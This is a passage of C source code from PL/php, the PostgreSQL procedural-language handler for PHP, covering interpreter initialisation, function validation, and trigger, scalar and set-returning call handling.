NULL)\n\t\tcurrmsg = makeStringInfo();\n\n\tappendStringInfoString(currmsg, str);\n\n\treturn str_length;\n}\n\n/*\n * sapi_plphp_flush\n * \t\tCalled when PHP wants to flush stdout.\n *\n * The stupid PHP implementation calls write and follows with a Flush right\n * away -- a good implementation would write several times and flush when the\n * message is complete.  To make the output look reasonable in Postgres, we\n * skip the flushing if the accumulated message does not end in a newline.\n */\nstatic void\nsapi_plphp_flush(void *sth)\n{\n\tif (currmsg != NULL)\n\t{\n\t\tAssert(currmsg->data != NULL);\n\n\t\tif (currmsg->data[currmsg->len - 1] == '\\n')\n\t\t{\n\t\t\t/*\n\t\t\t * remove the trailing newline because elog() inserts another\n\t\t\t * one\n\t\t\t */\n\t\t\tcurrmsg->data[currmsg->len - 1] = '\\0';\n\t\t}\n\t\telog(LOG, \"%s\", currmsg->data);\n\n\t\tpfree(currmsg->data);\n\t\tpfree(currmsg);\n\t\tcurrmsg = NULL;\n\t}\n\telse\n\t\telog(LOG, \"attempting to flush a NULL message\");\n}\n\nstatic int\nsapi_plphp_send_headers(sapi_headers_struct *sapi_headers TSRMLS_DC)\n{\n\treturn 1;\n}\n\nstatic void\nphp_plphp_log_messages(char *message)\n{\n\telog(LOG, \"plphp: %s\", message);\n}\n\n\nstatic sapi_module_struct plphp_sapi_module = {\n\t\"plphp\",\t\t\t\t\t/* name */\n\t\"PL/php PostgreSQL Handler\",/* pretty name */\n\n\tNULL,\t\t\t\t\t\t/* startup */\n\tphp_module_shutdown_wrapper,/* shutdown */\n\n\tNULL,\t\t\t\t\t\t/* activate */\n\tNULL,\t\t\t\t\t\t/* deactivate */\n\n\tsapi_plphp_write,\t\t\t/* unbuffered write */\n\tsapi_plphp_flush,\t\t\t/* flush */\n\tNULL,\t\t\t\t\t\t/* stat */\n\tNULL,\t\t\t\t\t\t/* getenv */\n\n\tphp_error,\t\t\t\t\t/* sapi_error(int, const char *, ...) */\n\n\tNULL,\t\t\t\t\t\t/* header handler */\n\tsapi_plphp_send_headers,\t/* send headers */\n\tNULL,\t\t\t\t\t\t/* send header */\n\n\tNULL,\t\t\t\t\t\t/* read POST */\n\tNULL,\t\t\t\t\t\t/* read cookies */\n\n\tNULL,\t\t\t\t\t\t/* register server variables */\n\tphp_plphp_log_messages,\t\t/* log message */\n\n\tNULL,\t\t\t\t\t\t/* Block interrupts */\n\tNULL,\t\t\t\t\t\t/* Unblock interrupts */\n\tSTANDARD_SAPI_MODULE_PROPERTIES\n};\n\n/*\n * plphp_init_all()\t\t- Initialize all\n *\n * XXX This is called each time a function is invoked.\n */\nstatic void\nplphp_init_all(void)\n{\n\t/* Execute postmaster-startup safe initialization */\n\tif (plphp_first_call)\n\t\tplphp_init();\n\n\t/*\n\t * Any other initialization that must be done each time a new\n\t * backend starts -- currently none.\n\t */\n}\n\n/*\n * This function must not be static, so that it can be used in\n * preload_libraries.  If it is, it will be called by postmaster;\n * otherwise it will be called by each backend the first time a\n * function is called.\n */\nvoid\nplphp_init(void)\n{\n\tTSRMLS_FETCH();\n\t/* Do initialization only once */\n\tif (!plphp_first_call)\n\t\treturn;\n\n\t/*\n\t * Need a Pg try/catch block to prevent an initialization-\n\t * failure from bringing the whole server down.\n\t */\n\tPG_TRY();\n\t{\n\t\tzend_try\n\t\t{\n\t\t\t/*\n\t\t\t * XXX This is a hack -- we are replacing the error callback in an\n\t\t\t * invasive manner that should not be expected to work on future PHP\n\t\t\t * releases.\n\t\t\t */\n\t\t\tzend_error_cb = plphp_error_cb;\n\n\t\t\t/* Omit HTML tags from output */\n\t\t\tplphp_sapi_module.phpinfo_as_text = 1;\n\t\t\tsapi_startup(&plphp_sapi_module);\n\n\t\t\tif (php_module_startup(&plphp_sapi_module, NULL, 0) == FAILURE)\n\t\t\t\telog(ERROR, \"php_module_startup call failed\");\n\n\t\t\t/* php_module_startup changed it, so put it back */\n\t\t\tzend_error_cb = plphp_error_cb;\n\n\t\t\t/*\n\t\t\t * FIXME -- Figure out what this comment is supposed to mean:\n\t\t\t *\n\t\t\t * There is no way to see if we must call zend_ini_deactivate()\n\t\t\t * since we cannot check if EG(ini_directives) has been initialised\n\t\t\t * because the executor's constructor does not initialize it.\n\t\t\t * Apart from that there seems no need for zend_ini_deactivate() yet.\n\t\t\t * So we error out.\n\t\t\t */\n\n\t\t\t/* Init procedure cache */\n\t\t\tMAKE_STD_ZVAL(plphp_proc_array);\n\t\t\tarray_init(plphp_proc_array);\n\n\t\t\tzend_register_functions(\n#if PHP_MAJOR_VERSION == 5\n\t\t\t\t\t\t\t\t\tNULL,\n#endif\n\t\t\t\t\t\t\t\t\tspi_functions, NULL,\n\t\t\t\t\t\t\t\t\tMODULE_PERSISTENT TSRMLS_CC);\n\n\t\t\tPG(during_request_startup) = true;\n\n\t\t\t/* Set some defaults */\n\t\t\tSG(options) |= SAPI_OPTION_NO_CHDIR;\n\n\t\t\t/* Hard coded defaults which cannot be overwritten in the ini file */\n\t\t\tINI_HARDCODED(\"register_argc_argv\", \"0\");\n\t\t\tINI_HARDCODED(\"html_errors\", \"0\");\n\t\t\tINI_HARDCODED(\"implicit_flush\", \"1\");\n\t\t\tINI_HARDCODED(\"max_execution_time\", \"0\");\n\t\t\tINI_HARDCODED(\"max_input_time\", \"-1\");\n\n\t\t\t/*\n\t\t\t * Set memory limit to ridiculously high value.  This helps the\n\t\t\t * server not to crash, because the PHP allocator has the really\n\t\t\t * stupid idea of calling exit() if the limit is exceeded.\n\t\t\t */\n\t\t\t{\n\t\t\t\tchar\tlimit[15];\n\n\t\t\t\tsnprintf(limit, sizeof(limit), \"%d\", 1 << 30);\n\t\t\t\tINI_HARDCODED(\"memory_limit\", limit);\n\t\t\t}\n\n\t\t\t/* tell the engine we're in non-html mode */\n\t\t\tzend_uv.html_errors = false;\n\n\t\t\t/* not initialized but needed for several options */\n\t\t\tCG(in_compilation) = false;\n\n\t\t\tEG(uninitialized_zval_ptr) = NULL;\n\n\t\t\tif (php_request_startup(TSRMLS_C) == FAILURE)\n\t\t\t{\n\t\t\t\tSG(headers_sent) = 1;\n\t\t\t\tSG(request_info).no_headers = 1;\n\t\t\t\t/* Use Postgres log */\n\t\t\t\telog(ERROR, \"php_request_startup call failed\");\n\t\t\t}\n\n\t\t\tCG(interactive) = false;\n\t\t\tPG(during_request_startup) = true;\n\n\t\t\t/* Register the resource for SPI_result */\n\t\t\tSPIres_rtype = zend_register_list_destructors_ex(php_SPIresult_destroy,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t NULL, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"SPI result\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 0);\n\n\t\t\t/* Ok, we're done */\n\t\t\tplphp_first_call = false;\n\t\t}\n\t\tzend_catch\n\t\t{\n\t\t\tplphp_first_call = true;\n\t\t\tif (error_msg)\n\t\t\t{\n\t\t\t\tchar\tstr[1024];\n\n\t\t\t\tstrncpy(str, error_msg, sizeof(str));\n\t\t\t\tpfree(error_msg);\n\t\t\t\terror_msg = NULL;\n\t\t\t\telog(ERROR, \"fatal error during PL/php initialization: %s\",\n\t\t\t\t\t str);\n\t\t\t}\n\t\t\telse\n\t\t\t\telog(ERROR, \"fatal error during PL/php initialization\");\n\t\t}\n\t\tzend_end_try();\n\t}\n\tPG_CATCH();\n\t{\n\t\tPG_RE_THROW();\n\t}\n\tPG_END_TRY();\n}\n\n/*\n * plphp_call_handler\n *\n * The visible function of the PL interpreter.  The PostgreSQL function manager\n * and trigger manager call this function for execution of php procedures.\n */\nDatum\nplphp_call_handler(PG_FUNCTION_ARGS)\n{\n\tDatum\t\tretval;\n\tTSRMLS_FETCH();\n\n\t/* Initialize interpreter */\n\tplphp_init_all();\n\n\tPG_TRY();\n\t{\n\t\t/* Connect to SPI manager */\n\t\tif (SPI_connect() != SPI_OK_CONNECT)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_CONNECTION_FAILURE),\n\t\t\t\t\t errmsg(\"could not connect to SPI manager\")));\n\n\t\tzend_try\n\t\t{\n\t\t\tplphp_proc_desc *desc;\n\n\t\t\t/* Clean up SRF state */\n\t\t\tcurrent_fcinfo = NULL;\n\n\t\t\t/* Redirect to the appropiate handler */\n\t\t\tif (CALLED_AS_TRIGGER(fcinfo))\n\t\t\t{\n\t\t\t\tdesc = plphp_compile_function(fcinfo->flinfo->fn_oid, true TSRMLS_CC);\n\n\t\t\t\t/* Activate PHP safe mode if needed */\n\t\t\t\tPG(safe_mode) = desc->trusted;\n\n\t\t\t\tretval = plphp_trigger_handler(fcinfo, desc TSRMLS_CC);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tdesc = plphp_compile_function(fcinfo->flinfo->fn_oid, false TSRMLS_CC);\n\n\t\t\t\t/* Activate PHP safe mode if needed */\n\t\t\t\tPG(safe_mode) = desc->trusted;\n\n\t\t\t\tif (desc->retset)\n\t\t\t\t\tretval = plphp_srf_handler(fcinfo, desc TSRMLS_CC);\n\t\t\t\telse\n\t\t\t\t\tretval = plphp_func_handler(fcinfo, desc TSRMLS_CC);\n\t\t\t}\n\t\t}\n\t\tzend_catch\n\t\t{\n\t\t\tREPORT_PHP_MEMUSAGE(\"reporting error\");\n\t\t\tif (error_msg)\n\t\t\t{\n\t\t\t\tchar\tstr[1024];\n\n\t\t\t\tstrncpy(str, error_msg, sizeof(str));\n\t\t\t\tpfree(error_msg);\n\t\t\t\terror_msg = NULL;\n\t\t\t\telog(ERROR, \"%s\", str);\n\t\t\t}\n\t\t\telse\n\t\t\t\telog(ERROR, \"fatal error\");\n\n\t\t\t/* not reached, but keep compiler quiet */\n\t\t\treturn 0;\n\t\t}\n\t\tzend_end_try();\n\t}\n\tPG_CATCH();\n\t{\n\t\tPG_RE_THROW();\n\t}\n\tPG_END_TRY();\n\n\treturn retval;\n}\n\n/*\n * plphp_validator\n *\n * \t\tValidator function for checking the function's syntax at creation\n * \t\ttime\n */\nDatum\nplphp_validator(PG_FUNCTION_ARGS)\n{\n\tOid\t\t\t\tfuncoid = PG_GETARG_OID(0);\n\tForm_pg_proc\tprocForm;\n\tHeapTuple\t\tprocTup;\n\tchar\t\t\ttmpname[32];\n\tchar\t\t\tfuncname[NAMEDATALEN];\n\tchar\t\t   *tmpsrc = NULL,\n\t\t\t\t   *prosrc;\n\tDatum\t\t\tprosrcdatum;\n\n\n\tTSRMLS_FETCH();\n\t/* Initialize interpreter */\n\tplphp_init_all();\n\n\tPG_TRY();\n\t{\n\t\tbool\t\t\tisnull;\n\t\t/* Grab the pg_proc tuple */\n\t\tprocTup = SearchSysCache(PROCOID,\n\t\t\t\t\t\t\t\t ObjectIdGetDatum(funcoid),\n\t\t\t\t\t\t\t\t 0, 0, 0);\n\t\tif (!HeapTupleIsValid(procTup))\n\t\t\telog(ERROR, \"cache lookup failed for function %u\", funcoid);\n\n\t\tprocForm = (Form_pg_proc) GETSTRUCT(procTup);\n\n\t\t/* Get the function source code */\n\t\tprosrcdatum = SysCacheGetAttr(PROCOID,\n\t\t\t\t\t\t\t\t\t  procTup,\n\t\t\t\t\t\t\t\t\t  Anum_pg_proc_prosrc,\n\t\t\t\t\t\t\t\t\t  &isnull);\n\t\tif (isnull)\n\t\t\telog(ERROR, \"cache lookup yielded NULL prosrc\");\n\t\tprosrc = DatumGetCString(DirectFunctionCall1(textout,\n\t\t\t\t\t\t\t\t\t\t\t\t\t prosrcdatum));\n\n\t\t/* Get the function name, for the error message */\n\t\tStrNCpy(funcname, NameStr(procForm->proname), NAMEDATALEN);\n\n\t\t/* Let go of the pg_proc tuple */\n\t\tReleaseSysCache(procTup);\n\n\t\t/* Create a PHP function creation statement */\n\t\tsnprintf(tmpname, sizeof(tmpname), \"plphp_temp_%u\", funcoid);\n\t\ttmpsrc = (char *) palloc(strlen(prosrc) +\n\t\t\t\t\t\t\t\t strlen(tmpname) +\n\t\t\t\t\t\t\t\t strlen(\"function  ($args, $argc){ } \"));\n\t\tsprintf(tmpsrc, \"function %s($args, $argc){%s}\",\n\t\t\t\ttmpname, prosrc);\n\n\t\tpfree(prosrc);\n\n\t\tzend_try\n\t\t{\n\t\t\t/*\n\t\t\t * Delete the function from the PHP function table, just in case it\n\t\t\t * already existed.  This is quite unlikely, but still.\n\t\t\t */\n\t\t\tzend_hash_del(CG(function_table), tmpname, strlen(tmpname) + 1);\n\n\t\t\t/*\n\t\t\t * Let the user see the fireworks.  If the function doesn't validate,\n\t\t\t * the ERROR will be raised and the function will not be created.\n\t\t\t */\n\t\t\tif (zend_eval_string(tmpsrc, NULL,\n\t\t\t\t\t\t\t\t \"plphp function temp source\" TSRMLS_CC) == FAILURE)\n\t\t\t\telog(ERROR, \"function \\\"%s\\\" does not validate\", funcname);\n\n\t\t\tpfree(tmpsrc);\n\t\t\ttmpsrc = NULL;\n\n\t\t\t/* Delete the newly-created function from the PHP function table. */\n\t\t\tzend_hash_del(CG(function_table), tmpname, strlen(tmpname) + 1);\n\t\t}\n\t\tzend_catch\n\t\t{\n\t\t\tif (tmpsrc != NULL)\n\t\t\t\tpfree(tmpsrc);\n\n\t\t\tif (error_msg)\n\t\t\t{\n\t\t\t\tchar\tstr[1024];\n\n\t\t\t\tStrNCpy(str, error_msg, sizeof(str));\n\t\t\t\tpfree(error_msg);\n\t\t\t\terror_msg = NULL;\n\t\t\t\telog(ERROR, \"function \\\"%s\\\" does not validate: %s\", funcname, str);\n\t\t\t}\n\t\t\telse\n\t\t\t\telog(ERROR, \"fatal error\");\n\n\t\t\t/* not reached, but keep compiler quiet */\n\t\t\treturn 0;\n\t\t}\n\t\tzend_end_try();\n\n\t\t/* The result of a validator is ignored */\n\t\tPG_RETURN_VOID();\n\t}\n\tPG_CATCH();\n\t{\n\t\tPG_RE_THROW();\n\t}\n\tPG_END_TRY();\n}\n\n/*\n * plphp_get_function_tupdesc\n *\n * \t\tReturns a TupleDesc of the function's return type.\n */\nstatic TupleDesc\nplphp_get_function_tupdesc(Oid result_type, Node *rsinfo)\n{\n\tif (result_type == RECORDOID)\n\t{\n\t\tReturnSetInfo *rs = (ReturnSetInfo *) rsinfo;\n\t\t/* We must get the information from call context */\n\t\tif (!rsinfo || !IsA(rsinfo, ReturnSetInfo) || rs->expectedDesc == NULL)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"function returning record called in context \"\n\t\t\t\t\t\t\t\"that cannot accept type record\")));\n\t\treturn rs->expectedDesc;\n\t}\n\telse\n\t\t/* ordinary composite type */\n\t\treturn lookup_rowtype_tupdesc(result_type, -1);\n}\n\n\n/*\n * Build the $_TD array for the trigger function.\n */\nstatic zval *\nplphp_trig_build_args(FunctionCallInfo fcinfo)\n{\n\tTriggerData\t   *tdata;\n\tTupleDesc\t\ttupdesc;\n\tzval\t\t   *retval;\n\tint\t\t\t\ti;\n\n\tMAKE_STD_ZVAL(retval);\n\tarray_init(retval);\n\n\ttdata = (TriggerData *) fcinfo->context;\n\ttupdesc = tdata->tg_relation->rd_att;\n\n\t/* The basic variables */\n\tadd_assoc_string(retval, \"name\", tdata->tg_trigger->tgname, 1);\n    add_assoc_long(retval, \"relid\", tdata->tg_relation->rd_id);\n\tadd_assoc_string(retval, \"relname\", SPI_getrelname(tdata->tg_relation), 1);\n\tadd_assoc_string(retval, \"schemaname\", SPI_getnspname(tdata->tg_relation), 1);\n\n\t/* EVENT */\n\tif (TRIGGER_FIRED_BY_INSERT(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"event\", \"INSERT\", 1);\n\telse if (TRIGGER_FIRED_BY_DELETE(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"event\", \"DELETE\", 1);\n\telse if (TRIGGER_FIRED_BY_UPDATE(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"event\", \"UPDATE\", 1);\n\telse\n\t\telog(ERROR, \"unknown firing event for trigger function\");\n\n\t/* NEW and OLD as appropiate */\n\tif (TRIGGER_FIRED_FOR_ROW(tdata->tg_event))\n\t{\n\t\tif (TRIGGER_FIRED_BY_INSERT(tdata->tg_event))\n\t\t{\n\t\t\tzval\t   *hashref;\n\n\t\t\thashref = plphp_build_tuple_argument(tdata->tg_trigtuple, tupdesc);\n\t\t\tadd_assoc_zval(retval, \"new\", hashref);\n\t\t}\n\t\telse if (TRIGGER_FIRED_BY_DELETE(tdata->tg_event))\n\t\t{\n\t\t\tzval\t   *hashref;\n\n\t\t\thashref = plphp_build_tuple_argument(tdata->tg_trigtuple, tupdesc);\n\t\t\tadd_assoc_zval(retval, \"old\", hashref);\n\t\t}\n\t\telse if (TRIGGER_FIRED_BY_UPDATE(tdata->tg_event))\n\t\t{\n\t\t\tzval\t   *hashref;\n\n\t\t\thashref = plphp_build_tuple_argument(tdata->tg_newtuple, tupdesc);\n\t\t\tadd_assoc_zval(retval, \"new\", hashref);\n\n\t\t\thashref = plphp_build_tuple_argument(tdata->tg_trigtuple, tupdesc);\n\t\t\tadd_assoc_zval(retval, \"old\", hashref);\n\t\t}\n\t\telse\n\t\t\telog(ERROR, \"unknown firing event for trigger function\");\n\t}\n\n\t/* ARGC and ARGS */\n\tadd_assoc_long(retval, \"argc\", tdata->tg_trigger->tgnargs);\n\n\tif (tdata->tg_trigger->tgnargs > 0)\n\t{\n\t\tzval\t   *hashref;\n\n\t\tMAKE_STD_ZVAL(hashref);\n\t\tarray_init(hashref);\n\n\t\tfor (i = 0; i < tdata->tg_trigger->tgnargs; i++)\n\t\t\tadd_index_string(hashref, i, tdata->tg_trigger->tgargs[i], 1);\n\n\t\tzend_hash_update(retval->value.ht, \"args\", strlen(\"args\") + 1,\n\t\t\t\t\t\t (void *) &hashref, sizeof(zval *), NULL);\n\t}\n\n\t/* WHEN */\n\tif (TRIGGER_FIRED_BEFORE(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"when\", \"BEFORE\", 1);\n\telse if (TRIGGER_FIRED_AFTER(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"when\", \"AFTER\", 1);\n\telse\n\t\telog(ERROR, \"unknown firing time for trigger function\");\n\n\t/* LEVEL */\n\tif (TRIGGER_FIRED_FOR_ROW(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"level\", \"ROW\", 1);\n\telse if (TRIGGER_FIRED_FOR_STATEMENT(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"level\", \"STATEMENT\", 1);\n\telse\n\t\telog(ERROR, \"unknown firing level for trigger function\");\n\n\treturn retval;\n}\n\n/*\n * plphp_trigger_handler\n * \t\tHandler for trigger function calls\n */\nstatic Datum\nplphp_trigger_handler(FunctionCallInfo fcinfo, plphp_proc_desc *desc TSRMLS_DC)\n{\n\tDatum\t\tretval = 0;\n\tchar\t   *srv;\n\tzval\t   *phpret,\n\t\t\t   *zTrigData;\n\tTriggerData *trigdata;\n\n\tREPORT_PHP_MEMUSAGE(\"going to build the trigger arg\");\n\n\tzTrigData = plphp_trig_build_args(fcinfo);\n\n\tREPORT_PHP_MEMUSAGE(\"going to call the trigger function\");\n\n\tphpret = plphp_call_php_trig(desc, fcinfo, zTrigData TSRMLS_CC);\n\tif (!phpret)\n\t\telog(ERROR, \"error during execution of function %s\", desc->proname);\n\n\tREPORT_PHP_MEMUSAGE(\"trigger called, going to build the return value\");\n\n\t/*\n\t * Disconnect from SPI manager and then create the return values datum (if\n\t * the input function does a palloc for it this must not be allocated in\n\t * the SPI memory context because SPI_finish would free it).\n\t */\n\tif (SPI_finish() != SPI_OK_FINISH)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_CONNECTION_DOES_NOT_EXIST),\n\t\t\t\t errmsg(\"could not disconnect from SPI manager\")));\n\n\ttrigdata = (TriggerData *) fcinfo->context;\n\n\tif (zTrigData->type != IS_ARRAY)\n\t\telog(ERROR, \"$_TD is not an array\");\n\t\t\t \n\t/*\n\t * In a BEFORE trigger, compute the return value.  In an AFTER trigger\n\t * it'll be ignored, so don't bother.\n\t */\n\tif (TRIGGER_FIRED_BEFORE(trigdata->tg_event))\n\t{\n\t\tswitch (phpret->type)\n\t\t{\n\t\t\tcase IS_STRING:\n\t\t\t\tsrv = phpret->value.str.val;\n\t\t\t\tif (strcasecmp(srv, \"SKIP\") == 0)\n\t\t\t\t{\n\t\t\t\t\t/* do nothing */\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\telse if (strcasecmp(srv, \"MODIFY\") == 0)\n\t\t\t\t{\n\t\t\t\t\tif (TRIGGER_FIRED_BY_INSERT(trigdata->tg_event) ||\n\t\t\t\t\t\tTRIGGER_FIRED_BY_UPDATE(trigdata->tg_event))\n\t\t\t\t\t\tretval = PointerGetDatum(plphp_modify_tuple(zTrigData,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttrigdata));\n\t\t\t\t\telse if (TRIGGER_FIRED_BY_DELETE(trigdata->tg_event))\n\t\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t\t\t\t errmsg(\"on delete trigger can not modify the the return tuple\")));\n\t\t\t\t\telse\n\t\t\t\t\t\telog(ERROR, \"unknown event in trigger function\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t\t\t errmsg(\"expected trigger function to return NULL, 'SKIP' or 'MODIFY'\")));\n\t\t\t\tbreak;\n\t\t\tcase IS_NULL:\n\t\t\t\tif (TRIGGER_FIRED_BY_INSERT(trigdata->tg_event) ||\n\t\t\t\t\tTRIGGER_FIRED_BY_DELETE(trigdata->tg_event))\n\t\t\t\t\tretval = (Datum) trigdata->tg_trigtuple;\n\t\t\t\telse if (TRIGGER_FIRED_BY_UPDATE(trigdata->tg_event))\n\t\t\t\t\tretval = (Datum) trigdata->tg_newtuple;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t\t errmsg(\"expected trigger function to return NULL, 'SKIP' or 'MODIFY'\")));\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tREPORT_PHP_MEMUSAGE(\"freeing some variables\");\n\n\tzval_dtor(zTrigData);\n\tzval_dtor(phpret);\n\n\tFREE_ZVAL(phpret);\n\tFREE_ZVAL(zTrigData);\n\n\tREPORT_PHP_MEMUSAGE(\"trigger call done\");\n\n\treturn retval;\n}\n\n/*\n * plphp_func_handler\n * \t\tHandler for regular function calls\n */\nstatic Datum\nplphp_func_handler(FunctionCallInfo fcinfo, plphp_proc_desc *desc TSRMLS_DC)\n{\n\tzval\t   *phpret = NULL;\n\tDatum\t\tretval;\n\tchar\t   *retvalbuffer = NULL;\n\n\t/* SRFs are handled separately */\n\tAssert(!desc->retset);\n\n\t/* Call the PHP function.  */\n\tphpret = plphp_call_php_func(desc, fcinfo TSRMLS_CC);\n\tif (!phpret)\n\t\telog(ERROR, \"error during execution of function %s\", desc->proname);\n\n\tREPORT_PHP_MEMUSAGE(\"function invoked\");\n\n\t/* Basic datatype checks */\n\tif ((desc->ret_type & PL_ARRAY) && phpret->type != IS_ARRAY)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_DATATYPE_MISMATCH),\n\t\t\t\t errmsg(\"function declared to return array must return an array\")));\n\tif ((desc->ret_type & PL_TUPLE) && phpret->type != IS_ARRAY)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_DATATYPE_MISMATCH),\n\t\t\t\t errmsg(\"function declared to return tuple must return an array\")));\n\n\t/*\n\t * Disconnect from SPI manager and then create the return values datum (if\n\t * the input function does a palloc for it this must not be allocated in\n\t * the SPI memory context because SPI_finish would free it).\n\t */\n\tif (SPI_finish() != SPI_OK_FINISH)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_CONNECTION_DOES_NOT_EXIST),\n\t\t\t\t errmsg(\"could not disconnect from SPI manager\")));\n\tretval = (Datum) 0;\n\n\tif (desc->ret_type & PL_PSEUDO)\n\t{\n\t\tHeapTuple\tretTypeTup;\n\t\tForm_pg_type retTypeStruct;\n\n\t\tretTypeTup = SearchSysCache(TYPEOID,\n\t\t\t\t\t\t\t\t\tObjectIdGetDatum(get_fn_expr_rettype(fcinfo->flinfo)),\n\t\t\t\t\t\t\t\t\t0, 0, 0);\n\t\tretTypeStruct = (Form_pg_type) GETSTRUCT(retTypeTup);\n\t\tperm_fmgr_info(retTypeStruct->typinput, &(desc->result_in_func));\n\t\tdesc->result_typioparam = retTypeStruct->typelem;\n\t\tReleaseSysCache(retTypeTup);\n\t}\n\n\tif (phpret)\n\t{\n\t\tswitch (Z_TYPE_P(phpret))\n\t\t{\n\t\t\tcase IS_NULL:\n\t\t\t\tfcinfo->isnull = true;\n\t\t\t\tbreak;\n\t\t\tcase IS_BOOL:\n\t\t\tcase IS_DOUBLE:\n\t\t\tcase IS_LONG:\n\t\t\tcase IS_STRING:\n\t\t\t\tretvalbuffer = plphp_zval_get_cstring(phpret, false, false);\n\t\t\t\tretval = CStringGetDatum(retvalbuffer);\n\t\t\t\tbreak;\n\t\t\tcase IS_ARRAY:\n\t\t\t\tif (desc->ret_type & PL_ARRAY)\n\t\t\t\t{\n\t\t\t\t\tretvalbuffer = plphp_convert_to_pg_array(phpret);\n\t\t\t\t\tretval = CStringGetDatum(retvalbuffer);\n\t\t\t\t}\n\t\t\t\telse if (desc->ret_type & PL_TUPLE)\n\t\t\t\t{\n\t\t\t\t\tTupleDesc\ttd;\n\t\t\t\t\tHeapTuple\ttup;\n\n\t\t\t\t\tif (desc->ret_type & PL_PSEUDO)\n\t\t\t\t\t\ttd = plphp_get_function_tupdesc(desc->ret_oid,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tfcinfo->resultinfo);\n\t\t\t\t\telse\n\t\t\t\t\t\ttd = lookup_rowtype_tupdesc(desc->ret_oid, (int32) -1);\n\n\t\t\t\t\tif (!td)\n\t\t\t\t\t\telog(ERROR, \"no TupleDesc info available\");\n\n\t\t\t\t\ttup = plphp_htup_from_zval(phpret, td);\n\t\t\t\t\tretval = HeapTupleGetDatum(tup);\n\t\t\t\t\tReleaseTupleDesc(td);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t/* FIXME -- should return the thing as a string? */\n\t\t\t\t\telog(ERROR, \"this plphp function cannot return arrays\");\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\telog(WARNING,\n\t\t\t\t\t \"plphp functions cannot return type %i\",\n\t\t\t\t\t phpret->type);\n\t\t\t\tfcinfo->isnull = true;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\telse\n\t{\n\t\tfcinfo->isnull = true;\n\t\tretval = (Datum) 0;\n\t}\n\n\tif (!fcinfo->isnull && !(desc->ret_type & PL_TUPLE))\n\t{\n\t\tretval = FunctionCall3(&desc->result_in_func,\n\t\t\t\t\t\t\t   PointerGetDatum(retvalbuffer),\n\t\t\t\t\t\t\t   ObjectIdGetDatum(desc->result_typioparam),\n\t\t\t\t\t\t\t   Int32GetDatum(-1));\n\t\tpfree(retvalbuffer);\n\t}\n\n\tREPORT_PHP_MEMUSAGE(\"finished calling user function\");\n\n\treturn retval;\n}\n\n/*\n * plphp_srf_handler\n * \t\tInvoke a SRF\n */\nstatic Datum\nplphp_srf_handler(FunctionCallInfo fcinfo, plphp_proc_desc *desc TSRMLS_DC)\n{\n\tReturnSetInfo *rsi = (ReturnSetInfo *) fcinfo->resultinfo;\n\tTupleDesc\ttupdesc;\n\tzval\t   *phpret;\n\tMemoryContext\toldcxt;\n\n\tAssert(desc->retset);\n\n\tcurrent_fcinfo = fcinfo;\n\tcurrent_tuplestore = NULL;\n\n\t/* Check context before allowing the call to go through */\n\tif (!rsi || !IsA(rsi, ReturnSetInfo) ||\n\t\t(rsi->allowedModes & SFRM_Materialize) == 0 ||\n\t\trsi->expectedDesc == NULL)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"set-valued function called in context that \"\n\t\t\t\t\t\t\"cannot accept a set\")));\n\n\t/*\n\t * Fetch the function's tuple descriptor.  This will return NULL in the\n\t * case of a scalar return type, in which case we will copy the TupleDesc\n\t * from the ReturnSetInfo.\n\t */\n\tget_call_result_type(fcinfo, NULL, &tupdesc);\n\tif (tupdesc == NULL)\n\t\ttupdesc = rsi->expectedDesc;\n\n\t/*\n\t * If the expectedDesc is NULL, bail out, because most likely it's using\n\t * IN/OUT parameters.\n\t */\n\tif (tupdesc == NULL)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"cannot use IN/OUT parameters in PL/php\")));\n\n\toldcxt = MemoryContextSwitchTo(rsi->econtext->ecxt_per_query_memory);\n\n\t/* This context is reset once per row in return_next */\n\tcurrent_memcxt = AllocSetContextCreate(CurTransactionContext,\n\t\t\t\t\t\t\t\t\t\t   \"PL/php SRF context\",\n\t\t\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MINSIZE,\n\t\t\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_INITSIZE,\n\t\t\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MAXSIZE);\n\n\t/* Tuple descriptor and AttInMetadata for return_next */\n\tcurrent_tupledesc = CreateTupleDescCopy(tupdesc);\n\tcurrent_attinmeta = 